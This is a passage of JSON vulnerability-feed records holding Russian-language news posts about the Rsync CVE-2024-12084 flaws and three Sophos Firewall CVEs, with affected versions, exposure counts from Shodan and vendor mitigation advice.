\u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T12:11:14.000000Z"}, {"uuid": "97780513-035b-4166-b588-425c97a1d7fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://t.me/true_secator/6568", "content": "Sophos \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 Sophos Firewall, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SSH-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 Sophos Firewall \u0432\u0435\u0440\u0441\u0438\u0438 21.0 GA (21.0.0) \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u043d\u043e\u0432\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a:\n\n- CVE-2024-12727: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u0415\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f Secure PDF eXchange (SPX) \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 (HA), \u043e\u043d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442\u0447\u0435\u0442\u043e\u0432, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE.\n\n- CVE-2024-12728: \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043d\u0435\u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0430\u044f \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 SSH \u0434\u043b\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d SSH, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437-\u0437\u0430 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n- CVE-2024-12729: \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 User Portal. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043f\u043e \u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c -\u00a0KBA-000010084.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Sophos \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0434\u043b\u044f \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044f \u0440\u0438\u0441\u043a\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 CVE-2024-12728 \u0438 CVE-2024-12729, \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2024-12728 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e SSH \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c \u043a\u0430\u043d\u0430\u043b\u043e\u043c HA, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u0434\u0435\u043b\u0435\u043d \u043e\u0442 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u0438 \u043f\u0435\u0440\u0435\u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 HA, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u0438\u043d\u043d\u0443\u044e \u0438 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0443\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0443\u044e \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0444\u0440\u0430\u0437\u0443.\n\n\u0414\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043e\u0431\u044b\u0447\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c SSH \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 WAN \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Sophos Central \u0438\u043b\u0438 VPN.\n\n\u0414\u043b\u044f \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 CVE-2024-12729 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u0430\u043b\u0430 \u0438 \u0432\u0435\u0431-\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.", "creation_timestamp": "2024-12-23T15:40:05.000000Z"}, {"uuid": "35fbf8a2-0d1e-4ab9-b2a3-47942cf3ad93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://t.me/true_secator/6568", "content": "Sophos \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 Sophos Firewall, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SSH-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 Sophos Firewall \u0432\u0435\u0440\u0441\u0438\u0438 21.0 GA (21.0.0) \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u043d\u043e\u0432\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a:\n\n- CVE-2024-12727: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u0415\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f Secure PDF eXchange (SPX) \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 (HA), \u043e\u043d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442\u0447\u0435\u0442\u043e\u0432, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE.\n\n- CVE-2024-12728: \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043d\u0435\u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0430\u044f \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 SSH \u0434\u043b\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d SSH, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437-\u0437\u0430 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n- CVE-2024-12729: \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 